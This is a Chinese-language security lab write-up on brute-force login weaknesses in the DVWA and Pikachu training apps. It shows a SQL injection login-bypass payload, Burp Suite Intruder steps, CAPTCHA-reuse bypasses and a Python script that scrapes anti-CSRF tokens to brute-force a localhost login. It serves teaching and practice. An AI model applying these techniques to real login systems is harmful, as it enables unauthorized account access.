暴力破解漏洞
1.1 漏洞简介
暴力破解是一攻击具手段,在 web 攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个 web 应用系统存在暴力破解漏洞,一般是指该 web 应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的可能性变的比较高。 这里的认证安全策略, 包括: 1.是否要求用户设置复杂的密码; 2.是否每次认证都使用安全的验证码或者手机 otp; 3.是否对尝试登录的行为进行判断和限制(如:连续 5 次错误登录,进行账号锁定或 IP 地址锁定等); 4.是否采用了双因素认证。
1.2 漏洞影响范围
暴力破解漏洞是指攻击者通过尝试大量可能的密码、密钥或凭证来获得未经授权的访问权限。这种漏洞可能会影响各种系统和应用程序,包括网络服务器、数据库、操作系统和应用程序。
暴力破解漏洞的影响范围取决于受影响系统的安全性和防护措施。如果系统没有实施强大的密码策略、账户锁定机制或其他安全措施,那么暴力破解攻击可能会导致未经授权的访问、信息泄露、数据损坏或其他安全问题。
1.3 漏洞详解
1.3.1DVWA
(1)LOW
(1)方法一:
输入用户名密码抓包
发送给重发器查看
发至测试器,设置进行爆破
点击 clear 去掉全部,选中需要爆破的点击 add,添加需要爆破的字段
点击有效载荷,选择字典,可选择bp自带的或者载入自己的字典
选择攻击结果
清除不匹配的提示,添加时间报错页面或者正常返回页面的提示
开始爆破
(2)方法二查看源码
只要传入参数为真即可,所以我们考虑进行 sql 注入:admin’ or ‘1’='1
(2)Medium
- isset() 函数用于检测变量是否已设置并且非 NULL。返回 TRUE。
- is_object() 函数用于检测变量是否是一个对象
- mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。返回已转义的字符串。
由于 mysqli_real_escape_string()对字符串进行了转义,所以 sql 注入将不能运用,所以直接用方法 1 burpsuite 爆破,只不过时间长了点而已。因为试一次密码要过滤 2 秒才能试下一个
(3)HIGH
stripslashes(string): 去除掉 string 字符的反斜杠\
mysqli_real_escape_string(string,connection)函数会对字符串 string 中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
使用了 stripslashes 函数和 mysqli_real_esacpe_string 来抵御 SQL 注入和 XSS 的攻击代码增加了 token 机制
由于使用了 Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的 user_token 的值,用户每次登录时都要将 user_token 一起提交。服务器收到请求后,会优先做 token 的检查,再进行 sql 查询。所以我们无法通过 burpsuite 爆破出结果,所以先进行抓包。
python 进行爆破
from bs4 import BeautifulSoup
import requests
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,imgs/image/avif,imgs/image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Connection': 'close',
'Referer':'http://127.0.0.1:81/dvwa/vulnerabilities/brute/',
'Cookie': 'security=high; PHPSESSID=h0t00163l0ktcpsdfitm24nhsj',
'Upgrade-Insecure-Requests': '1'
}
requrl = "http://127.0.0.1:81/dvwa/vulnerabilities/brute/"
def get_token(requrl,header):
response=requests.get(url=requrl,headers=header)
print(response.status_code,len(response.content))
soup=BeautifulSoup(response.text,"lxml")
form=soup.select('form')[0]
input=form.select("input[type='hidden']")
#获取用户的token
user_token = input[0]['value']
# print(user_token)
return user_token
user_token=get_token(requrl,header)
i=0
for line in open("./pass_dic.txt"):
# http://127.0.0.1:81/dvwa/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=195c56bdfe59283bbf3baacee15ada60#
password = line.strip()
url = f"http://127.0.0.1:81/dvwa/vulnerabilities/brute/?username=admin&password={
password}&Login=Login&user_token={
user_token}"
i=i+1
# print(i, 'admin', line.strip(), end=" ")
print(f"{
i}-->admin:admin,password:{
password}")
user_token = get_token(url, header)
if(i==20):
break
1.3.2 Pikachu
(1)验证码绕过(on server)
将 bp 抓到的数据表发送给 repeater,删除验证码、输入错误验证码,查看返回的结果
刷新页面,记住验证码,然后修改数据包中的验证码,账号密码不变,显示用户名或密码存在
验证码不变,修改用户名或密码,查看返回结果,显示用户名或密码不正确,说名验证码是可以重复利用的,没有过期时间
将数据包发送给 Intruder 进行爆破
(2)验证码绕过(on client)
通过查看源码,发现验证码是前端生产的
将 bp 抓到的数据表发送给 repeater
删掉验证码,再次发送,没有提示要输入验证码,则说明此验证码对登录无效
将数据包发送给 Intruder 进行爆破
1.3.3 识别验证码(绕过)
待写…
1.3.4 密码加密的情况
待写…